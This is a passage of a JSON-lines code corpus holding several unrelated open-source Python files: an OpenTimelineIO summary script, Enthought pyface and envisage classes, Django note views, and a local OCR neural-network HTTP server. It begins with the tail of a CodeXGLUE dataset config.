\"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/da-en.dev.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/no-en.dev.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/da-en.train.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/lv-en.train.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/no-en.train.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/zh-en.train.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/no-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/zh-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/lv-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/da-en.train.en\"\n ],\n \"name\": \"tt_text_to_text\",\n \"parameters\": {\n \"natural_language_pair\": \"lv-en\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Text-Text/text-to-text\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Text-Text/text-to-text/data\"\n },\n \"tt_text_to_text_no_en\": {\n \"class_name\": \"CodeXGlueTTTextToText\",\n \"data_dir_name\": \"data\",\n \"dataset_type\": \"Text-Text\",\n \"description\": \"CodeXGLUE text-to-text dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Text-Text/text-to-text\",\n \"dir_name\": \"text-to-text\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/preprocessing.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/da-en.test.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/da-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/lv-en.test.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/zh-en.test.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/no-en.test.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/zh-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/lv-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/no-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/da-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/lv-en.dev.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/lv-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/zh-en.dev.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/no-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/zh-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/da-en.dev.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/no-en.dev.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/da-en.train.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/lv-en.train.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/no-en.train.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/zh-en.train.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/no-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/zh-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/lv-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/da-en.train.en\"\n ],\n \"name\": \"tt_text_to_text\",\n \"parameters\": {\n \"natural_language_pair\": \"no-en\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Text-Text/text-to-text\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Text-Text/text-to-text/data\"\n },\n \"tt_text_to_text_zh_en\": {\n \"class_name\": \"CodeXGlueTTTextToText\",\n \"data_dir_name\": \"data\",\n \"dataset_type\": \"Text-Text\",\n \"description\": \"CodeXGLUE text-to-text dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Text-Text/text-to-text\",\n \"dir_name\": \"text-to-text\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/preprocessing.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/da-en.test.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/da-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/lv-en.test.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/zh-en.test.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/no-en.test.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/zh-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/lv-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/test/no-en.test.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/da-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/lv-en.dev.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/lv-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/zh-en.dev.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/no-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/zh-en.dev.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/da-en.dev.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/dev/no-en.dev.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/da-en.train.da\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/lv-en.train.lv\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/no-en.train.no\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/zh-en.train.zh\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/no-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/zh-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/lv-en.train.en\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Text-Text/text-to-text/data/train/da-en.train.en\"\n ],\n \"name\": \"tt_text_to_text\",\n \"parameters\": {\n \"natural_language_pair\": \"zh-en\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Text-Text/text-to-text\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Text-Text/text-to-text/data\"\n }\n}", "source": "madlag/CodeXGLUE", "license": "CC0-1.0"} {"text": "#!/usr/bin/env python\n#\n# Copyright 2017 Pixar Animation Studios\n#\n# Licensed under the Apache License, Version 2.0 (the \"Apache License\")\n# with the following modification; you may not use this file except in\n# compliance with the Apache License and the following modification to it:\n# Section 6. Trademarks. is deleted and replaced with:\n#\n# 6. Trademarks. This License does not grant permission to use the trade\n# names, trademarks, service marks, or product names of the Licensor\n# and its affiliates, except as required to comply with Section 4(c) of\n# the License and to reproduce the content of the NOTICE file.\n#\n# You may obtain a copy of the Apache License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the Apache License with the above modification is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the Apache License for the specific\n# language governing permissions and limitations under the Apache License.\n#\n\n\"\"\"Example OTIO script that reads a timeline and then prints a summary\nof the video clips found, including re-timing effects on each one.\n\"\"\"\n\nimport sys\nimport opentimelineio as otio\n\n\ndef _summarize_effects(item):\n if hasattr(item, \"effects\"):\n for effect in item.effects:\n if isinstance(effect, otio.schema.FreezeFrame):\n print(\n \"Effect: Freeze Frame\"\n )\n elif isinstance(effect, otio.schema.LinearTimeWarp):\n print(\n \"Effect: Linear Time Warp ({}%)\".format(\n effect.time_scalar * 100.0\n )\n )\n else:\n print(\n \"Effect: {} ({})\".format(\n effect.name,\n str(type(effect))\n )\n )\n\n\ndef _summarize_range(label, time_range):\n if time_range is None:\n print(\"\\t{}: None\".format(label))\n else:\n print(\n \"\\t{}: {} - {} (Duration: {})\".format(\n label,\n otio.opentime.to_timecode(\n time_range.start_time\n ),\n otio.opentime.to_timecode(\n time_range.end_time_exclusive()\n ),\n otio.opentime.to_timecode(time_range.duration)\n )\n )\n\n\ndef _summarize_timeline(timeline):\n # Here we iterate over each video track, and then just the top-level\n # items in each track. If you want to traverse the whole nested structure\n # then you can use: for item in timeline.each_child()\n # or just clips via: for clip in timeline.each_clip()\n # See also: https://opentimelineio.readthedocs.io/en/latest/tutorials/otio-timeline-structure.html # noqa\n for track in timeline.video_tracks():\n print(\n \"Track: {}\\n\\tKind: {}\\n\\tDuration: {}\".format(\n track.name,\n track.kind,\n track.duration()\n )\n )\n _summarize_effects(track)\n\n for item in track:\n if isinstance(item, otio.schema.Clip):\n clip = item\n print(\"Clip: {}\".format(clip.name))\n # See the documentation to understand the difference\n # between each of these ranges:\n # https://opentimelineio.readthedocs.io/en/latest/tutorials/time-ranges.html\n _summarize_range(\" Trimmed Range\", clip.trimmed_range())\n _summarize_range(\" Visible Range\", clip.visible_range())\n _summarize_range(\"Available Range\", clip.available_range())\n\n elif isinstance(item, otio.schema.Gap):\n continue\n\n elif isinstance(item, otio.schema.Transition):\n transition = item\n print(\n \"Transition: {}\\n\\tDuration: {}\".format(\n transition.transition_type,\n otio.opentime.to_timecode(transition.duration())\n )\n )\n\n elif isinstance(item, otio.core.Composition):\n composition = item\n print(\n \"Nested Composition: {}\\n\\tDuration: {}\".format(\n composition.name,\n otio.opentime.to_timecode(composition.duration())\n )\n )\n\n else:\n print(\n \"Other: {} ({})\\n\\tDuration: {}\".format(\n item.name,\n str(type(item)),\n otio.opentime.to_timecode(item.duration())\n )\n )\n\n _summarize_effects(item)\n\n\ndef main():\n for filename in sys.argv[1:]:\n\n timeline = otio.adapters.read_from_file(filename)\n _summarize_timeline(timeline)\n\n\nif __name__ == '__main__':\n main()\n", "source": "alatdneg/OpenTimelineIO", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n# coding=utf-8\n# \u4e8c\u624b\u623f\u4fe1\u606f\u7684\u6570\u636e\u7ed3\u6784\n\n\nclass SecondHand(object):\n def __init__(self, district, area, name, price, desc):\n self.district = district\n self.area = area\n self.price = price\n self.name = name\n self.desc = desc\n\n def text(self):\n return self.district + \",\" + \\\n self.area + \",\" + \\\n self.name + \",\" + \\\n self.price + \",\" + \\\n self.desc\n", "source": "Logistic98/house-price-monitor", "license": "Apache-2.0"} {"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2017-19, Enthought, Inc.\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in enthought/LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n#\n# Author: Enthought, Inc.\n# Description: \n#------------------------------------------------------------------------------\n\"\"\" The text field interface. \"\"\"\n\nfrom __future__ import (\n absolute_import, division, print_function, unicode_literals\n)\n\nfrom traits.api import Any, HasTraits, Instance, Unicode\n\nfrom pyface.i_widget import IWidget\n\n\nclass IField(IWidget):\n \"\"\" The field interface.\n\n A field is a widget that displays a value and (potentially) allows a user\n to interact with it.\n \"\"\"\n\n #: The value held by the field.\n value = Any\n\n #: A tooltip for the field.\n tooltip = Unicode\n\n #: An optional context menu for the field.\n context_menu = Instance('pyface.action.menu_manager.MenuManager')\n\n def show_context_menu(self, x, y):\n \"\"\" Create and show the context menu at a position. \"\"\"\n\n def _initialize_control(self, control):\n \"\"\" Perform any toolkit-specific initialization for the control. \"\"\"\n\n\nclass MField(HasTraits):\n \"\"\" The field mix-in. \"\"\"\n\n #: The value held by the field.\n value = Any\n\n #: A tooltip for the field.\n tooltip = Unicode\n\n #: An optional context menu for the field.\n context_menu = Instance('pyface.action.menu_manager.MenuManager')\n\n # ------------------------------------------------------------------------\n # IWidget interface\n # ------------------------------------------------------------------------\n\n def _add_event_listeners(self):\n \"\"\" Set up toolkit-specific bindings for events \"\"\"\n super(MField, self)._add_event_listeners()\n self.on_trait_change(self._value_updated, 'value', dispatch='ui')\n self.on_trait_change(self._tooltip_updated, 'tooltip', dispatch='ui')\n self.on_trait_change(self._context_menu_updated, 'context_menu',\n dispatch='ui')\n if self.control is not None and self.context_menu is not None:\n self._observe_control_context_menu()\n\n def _remove_event_listeners(self):\n \"\"\" Remove toolkit-specific bindings for events \"\"\"\n if self.control is not None and self.context_menu is not None:\n self._observe_control_context_menu(remove=True)\n self.on_trait_change(self._value_updated, 'value', dispatch='ui',\n remove=True)\n self.on_trait_change(self._tooltip_updated, 'tooltip', dispatch='ui',\n remove=True)\n self.on_trait_change(self._context_menu_updated, 'context_menu',\n dispatch='ui', remove=True)\n super(MField, self)._remove_event_listeners()\n\n # ------------------------------------------------------------------------\n # Private interface\n # ------------------------------------------------------------------------\n\n def _create(self):\n \"\"\" Creates the toolkit specific control.\n\n This method should create the control and assign it to the\n :py:attr:``control`` trait.\n \"\"\"\n self.control = self._create_control(self.parent)\n self._initialize_control()\n self._add_event_listeners()\n\n self.show(self.visible)\n self.enable(self.enabled)\n\n def _initialize_control(self):\n \"\"\" Perform any toolkit-specific initialization for the control. \"\"\"\n self._set_control_tooltip(self.tooltip)\n\n def _update_value(self, value):\n \"\"\" Handle a change to the value from user interaction\n\n This is a method suitable for calling from a toolkit event handler.\n \"\"\"\n self.value = self._get_control_value()\n\n def _get_control(self):\n \"\"\" If control is not passed directly, get it from the trait. \"\"\"\n control = self.control\n if control is None:\n raise RuntimeError(\"Toolkit control does not exist.\")\n return control\n\n # Toolkit control interface ---------------------------------------------\n\n def _get_control_value(self):\n \"\"\" Toolkit specific method to get the control's value. \"\"\"\n raise NotImplementedError\n\n def _set_control_value(self, value):\n \"\"\" Toolkit specific method to set the control's value. \"\"\"\n raise NotImplementedError\n\n def _observe_control_value(self, remove=False):\n \"\"\" Toolkit specific method to change the control value observer. \"\"\"\n raise NotImplementedError\n\n def _get_control_tooltip(self):\n \"\"\" Toolkit specific method to get the control's tooltip. \"\"\"\n raise NotImplementedError\n\n def _set_control_tooltip(self, tooltip):\n \"\"\" Toolkit specific method to set the control's tooltip. \"\"\"\n raise NotImplementedError\n\n def _observe_control_context_menu(self, remove=False):\n \"\"\" Toolkit specific method to change the control menu observer.\n\n This should use _handle_control_context_menu as the event handler.\n \"\"\"\n raise NotImplementedError\n\n def _handle_control_context_menu(self, event):\n \"\"\" Handle a context menu event.\n\n This should call show_context_menu with appropriate position x and y\n arguments.\n\n The function signature will likely vary from toolkit to toolkit.\n \"\"\"\n raise NotImplementedError\n\n # Trait change handlers -------------------------------------------------\n\n def _value_updated(self, value):\n if self.control is not None:\n self._set_control_value(value)\n\n def _tooltip_updated(self, tooltip):\n if self.control is not None:\n self._set_control_tooltip(tooltip)\n\n def _context_menu_updated(self, old, new):\n if self.control is not None:\n if new is None:\n self._observe_control_context_menu(remove=True)\n if old is None:\n self._observe_control_context_menu()\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "from django.shortcuts import render, redirect\n\n# Create your views here.\nfrom djangoProject.notes.forms import ProfileForm, NoteForm\nfrom djangoProject.notes.models import Profile, Note\n\n\"\"\"\n\u2022 http: // localhost: 8000 / - home\npage\n\u2022 http: // localhost: 8000 / add - add\nnote\npage\n\u2022 http: // localhost: 8000 / edit /:id - edit\nnote\npage\n\u2022 http: // localhost: 8000 / delete /:id - delete\nnote\npage\n\u2022 http: // localhost: 8000 / details /:id - note\ndetails\npage\n\u2022 http: // localhost: 8000 / profile - profile\npage\n\"\"\"\n\n\ndef get_profile():\n profile = Profile.objects.all()\n if profile:\n return profile[0]\n\n return None\n\n\ndef home(request):\n profile = get_profile()\n form = ProfileForm\n notes = Note.objects.all()\n\n context = {\n 'profile': profile,\n 'form': form,\n 'notes': notes\n }\n if profile == None:\n return render(request, 'home-no-profile.html', context)\n else:\n return render(request, 'home-with-profile.html', context)\n\n\ndef create_profile(request):\n if request.method == 'POST':\n form = ProfileForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('home')\n else:\n form = ProfileForm()\n context = {\n 'form': form\n\n }\n return render(request, 'home-no-profile.html', context)\n\n\ndef add_note(request):\n profile = get_profile()\n if request.method == 'POST':\n form = NoteForm(request.POST)\n if form.is_valid():\n note = form.save(commit=False)\n note.profile = profile\n note.save()\n return redirect('home')\n else:\n form = NoteForm()\n context = {\n 'form': form,\n }\n return render(request, 'note-create.html', context)\n\n\ndef edit_note(request, pk):\n note = Note.objects.get(pk=pk)\n if request.method == 'POST':\n form = NoteForm(request.POST, instance=note)\n if form.is_valid():\n form.save()\n return redirect('home')\n else:\n form = NoteForm(instance=note)\n context = {\n 'form': form,\n 'note': note,\n }\n return render(request, 'note-edit.html', context)\n\n\ndef delete_note(request, pk):\n note = Note.objects.get(pk=pk)\n if request.method == \"POST\":\n note.delete()\n return redirect('home')\n else:\n form = NoteForm(instance=note)\n context = {\n 'form': form,\n 'note': note,\n }\n return render(request, 'note-delete.html', context)\n\n\ndef details_note(request, pk):\n note = Note.objects.get(pk=pk)\n context = {\n 'note': note\n }\n return render(request, 'note-details.html', context)\n\n\ndef profile_page(request):\n profile = get_profile()\n all_notes = profile.note_set.count()\n\n context = {\n 'profile': profile,\n 'all_notes': all_notes,\n\n }\n return render(request, 'profile.html', context)\n\n\ndef delete_profile(request, pk):\n profile = Profile.objects.get(pk=pk)\n if request.method == 'POST':\n profile.delete()\n return redirect('home')\n else:\n context = {\n 'profile': profile\n }\n return render(request, 'profile-delete.html', context)\n", "source": "ivailoiliev84/Web_basic_exams_preparation_and_exam", "license": "MIT"} {"text": "from http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\nfrom ocr import OCRNeuralNetwork\nimport numpy as np\n\nHOST_NAME = 'localhost'\nPORT_NUMBER = 8000\nHIDDEN_NODE_COUNT = 15\n\n# \u5c06\u6570\u636e\u6837\u672c\u548c\u6807\u7b7e\u52a0\u8f7d\u5230\u77e9\u9635\u4e2d\ndata_matrix = np.loadtxt(open('data.csv', 'rb'), delimiter=',')\ndata_labels = np.loadtxt(open('dataLabels.csv', 'rb'))\n\n# \u4ece numpy ndarrays \u8f6c\u6362\u4e3a python \u5217\u8868\ndata_matrix = data_matrix.tolist()\ndata_labels = data_labels.tolist()\n\n# \u5982\u679c\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u4f7f\u7528\u6240\u67095000\u4e2a\u73b0\u6709\u6570\u636e\u6837\u672c\u5bf9\u5176\u8fdb\u884c\u8bad\u7ec3\u3002\n# \u57fa\u4e8e\u795e\u7ecf\u7f51\u7edc\u6536\u96c6\u7684 neural_network_design.py\uff0c\u5bf9\u4e8e\u9690\u85cf\u8282\u70b9\uff0c15\u662f\u6700\u4f73\u6570\u3002\nnn = OCRNeuralNetwork(HIDDEN_NODE_COUNT, data_matrix, data_labels, list(range(5000)))\n\nclass JSONHandler(BaseHTTPRequestHandler):\n def do_POST(s):\n response_code = 200\n response = \"\"\n var_len = int(s.headers.get('Content-Length'))\n content = s.rfile.read(var_len)\n payload = json.loads(content)\n\n if payload.get('train'):\n nn.train(payload['trainArray'])\n nn.save()\n \n elif payload.get('predict'):\n try:\n response = {\"type\": \"test\", \"result\": nn.predict(str(payload['image']))}\n except:\n response_code = 500\n else:\n response_code =400\n\n s.send_response(response_code)\n s.send_header(\"Content-type\", \"application/json\")\n s.send_header(\"Access-Control-Allow-Origin\", \"*\")\n s.end_headers()\n if response:\n s.wfile.write(bytes(json.dumps(response), \"utf-8\"))\n return\n\nif __name__ == '__main__':\n httpd = HTTPServer((HOST_NAME, PORT_NUMBER), JSONHandler)\n\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n pass\n else:\n print(\"Unexpected server exception occurred.\")\n finally:\n httpd.server_close()", "source": "yunkai123/my-500lines-notes", "license": "MIT"} {"text": "# (C) Copyright 2007-2019 Enthought, Inc., Austin, TX\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n\"\"\"\nA base class for projects that can be displayed by the single_project\nplugin.\n\n\"\"\"\n\n# Standard library imports.\nimport logging\nimport os\nimport re\nimport unicodedata\n\n# Enthought library imports\nfrom traits.etsconfig.api import ETSConfig\nimport apptools.sweet_pickle\nfrom apptools.io.api import File\nfrom traits.api import Any, Bool, Dict, Directory, HasTraits, \\\n Instance, Property, Str\nfrom traitsui.api import Group, View\n\n# Local imports.\n#from envisage.ui.single_project.editor.project_editor import \\\n# ProjectEditor\nfrom envisage.api import Application\n\n\n# Setup a logger for this module.\nlogger = logging.getLogger(__name__)\n\n\nclass Project(HasTraits):\n \"\"\"\n A base class for projects that can be displayed by the single_project\n plugin.\n\n \"\"\"\n\n ##########################################################################\n # CLASS Attributes\n ##########################################################################\n\n #### public 'Project' class interface ####################################\n\n # Indicates whether instances of this project class are stored as files or\n # directories. The rest of the single_project plugin will follow this\n # setting when using this project class.\n #\n # This is meant to be a constant for the lifetime of this class!\n PROJECTS_ARE_FILES = True\n\n # Current envisage application.\n application = Instance(Application, transient=True)\n\n\n #### protected 'Project' class interface #################################\n\n # Format used to create a unique name from a location and a counter.\n _unique_name_format = '%s_%s'\n\n\n ##########################################################################\n # Attributes\n ##########################################################################\n\n #### public 'Project' interface ##########################################\n\n # True if this project contains un-saved state (has been modified.)\n dirty = Bool(False, transient=True)\n\n # True if we allow save requests on the project.\n is_save_allowed = Bool(True, transient=True)\n\n # True if we allow save_as requests on the project.\n is_save_as_allowed = Bool(True, transient=True)\n\n # The location of this project on the filesystem. The default value\n # depends on the runtime environment so we use a traits default method to\n # set it.\n location = Directory\n\n # The name of this project. This is calculated from the project's current\n # location or, if there is no location, from a default value. See the\n # property's getter method.\n name = Property(Str)\n\n # The UI view to use when creating a new project\n traits_view = View(\n Group('location'),\n title = 'New Project',\n id = 'envisage.single_project.project.Project',\n buttons = [ 'OK', 'Cancel' ],\n width = 0.33,\n\n # Ensure closing via the dialog close button is the same\n # as clicking cancel.\n close_result = False,\n\n # Ensure the user can resize the dialog.\n resizable = True,\n )\n\n\n #### protected 'Project' interface #######################################\n\n # A list of editors currently open to visualize our resources\n # FIXME: Re-add the ProjectEditor's(if we need them) once they are fixed.\n #_editors = Dict(Any, ProjectEditor, transient=True)\n\n # The cache of this project's name. We can't just initialize it to a\n # default value since the location may be cleared at any time.\n _name = Str(transient=True)\n\n\n ##########################################################################\n # 'Object' interface.\n ##########################################################################\n\n #### operator methods ####################################################\n\n def __getstate__(self):\n \"\"\"\n Get the state of this object for pickling.\n\n Extended to limit which attributes get pickled and also to add\n version numbers to our pickle.\n\n It is STRONGLY recommended that derived classes not leverage the\n pickling mechanism if they wish to store additional data in OTHER\n files as part of their project. Instead, they should override the\n *_save* method.\n\n Extending this method in derived classes IS appropriate if you want\n to store additional data in the SAME pickle file as the project.\n\n \"\"\"\n\n # Determine the starting point for our state.\n state = super(Project, self).__getstate__().copy()\n\n # Remove any transient traits.\n for trait_name in self.trait_names(transient=True):\n state.pop(trait_name, None)\n\n # Add in our current version number. Note use a different attribute\n # name from any base or derived class so that our numbers don't\n # override theirs.\n state['_project_version_major'] = 1\n state['_project_version_minor'] = 0\n\n return state\n\n\n def __setstate__(self, state):\n \"\"\"\n Restore the state of this object during unpickling.\n\n Extended to upgrade pickles to the current Project version.\n\n It is STRONGLY recommended that derived classes not leverage the\n unpickling mechanism if they wish to load data from additional pickle\n files. Instead, they should override the *_load* method.\n\n Extending this method in derived classes IS appropriate if you want\n to load additional data from the SAME pickle file as the project.\n\n \"\"\"\n\n # Get the version info out of the state dictionary.\n major = state.pop('_project_version_major', 0)\n minor = state.pop('_project_version_minor', 0)\n\n # Upgrade to version 1.\n if major < 1:\n\n # Remove any old attributes.\n # - name is now a calculated property instead of stored value.\n for key in ['name']:\n state.pop(key, None)\n\n # Restore our state.\n return super(Project, self).__setstate__(state)\n\n\n def __str__(self):\n \"\"\"\n Return the unofficial string representation of this object.\n\n \"\"\"\n\n result ='%s(name=%s)' % (super(Project, self).__str__(), self.name)\n return result\n\n\n ##########################################################################\n # 'Project' interface.\n ##########################################################################\n\n #### public interface ####################################################\n\n def get_default_project_location(self, application):\n \"\"\"\n Return the default location for a new project.\n\n \"\"\"\n\n path = self.get_default_path(application)\n name = clean_filename(self.get_default_name())\n location = os.path.join(path, name)\n location = self._make_location_unique(location)\n\n return location\n\n def get_default_path(cls, application):\n \"\"\"\n Return the default path to the parent directory for a new project.\n\n \"\"\"\n\n # When unpickling, we don't have a reference to the current application, so we\n # fallback on application_home.\n if application is None:\n return ETSConfig.application_home\n\n app_preferences = application.preferences\n path_id = 'envisage.ui.' \\\n 'single_project.preferred_path'\n path = app_preferences.get(path_id)\n\n # If the 'preferred_path' variable isn't set in the user's preferences,\n # then we set to the the application home by default.\n if len(path) == 0:\n app_home = ETSConfig.application_home\n app_preferences.set(path_id, app_home)\n return app_home\n\n return path\n\n get_default_path = classmethod(get_default_path)\n\n def get_default_name(self):\n \"\"\"\n Return the default name for a new project.\n\n \"\"\"\n\n return 'New Project'\n\n def get_pickle_filename(cls, location):\n \"\"\"\n Generate the project's pickle filename given a source location.\n\n By default, the filename IS the specified location or, when saving\n projects as directories, a file called 'project' within a directory\n that is the specified location,\n\n Derived classes may wish to use the location as the basis for\n identifying the real pickle file.\n\n \"\"\"\n\n if cls.PROJECTS_ARE_FILES:\n result = location\n else:\n result = os.path.join(location, 'project')\n\n return result\n\n get_pickle_filename = classmethod(get_pickle_filename)\n\n def get_pickle_package(cls):\n \"\"\"\n Returns the pickle package to use for pickling and unpickling\n projects.\n\n Implementors can override this to customize the way in which\n projects are pickled and unpickled.\n\n This implementation returns the apptools.sweet_pickle package which\n supports versioning and refactoring of classes.\n\n \"\"\"\n\n return apptools.sweet_pickle\n\n get_pickle_package = classmethod(get_pickle_package)\n\n def load(cls, location, application):\n \"\"\"\n Load a project from a specified location.\n\n The loaded project's location is always set to the location the project\n was actually loaded from. Additionally, the dirty flag is cleared\n on the loaded project.\n\n An exception will be raised to indicate a failure.\n\n \"\"\"\n\n # Load the project in a manner that derived classes can modify.\n project = cls._load(location)\n\n # Ensure the project's location reflects where the project was loaded\n # from and that the dirty flag is not set.\n project.location = location\n project.dirty = False\n\n # Set the project's 'application' to the running application passed in.\n project.application = application\n\n return project\n\n load = classmethod(load)\n\n def register_editor(self, resource, editor, remove=False):\n \"\"\"\n Inform us that an editor has been opened for what is believed to be\n a resource in this project.\n\n Note that if this project can be represented as a hierarchy, the\n resource may not be a top level object in that hierarchy!\n\n \"\"\"\n\n # Warn if the resource is not part of this project\n if not self._contains_resource(resource):\n logger.warning(\n 'This Project [%s] does not contain resource [%s]',\n self, resource)\n\n # Add or remove from our set of editors as requested\n if not remove:\n self._editors[resource] = editor\n else:\n del self._editors[resource]\n\n\n def save(self, location=None, overwrite=False):\n \"\"\"\n Save this project.\n\n The project is saved to its current location, identified by the value\n of the *location* trait, unless a new location is explicitly provided.\n The specification of a new location is used to do a 'save as'\n operation.\n\n If a new location is provided, and a file or directory already exists\n at that location, 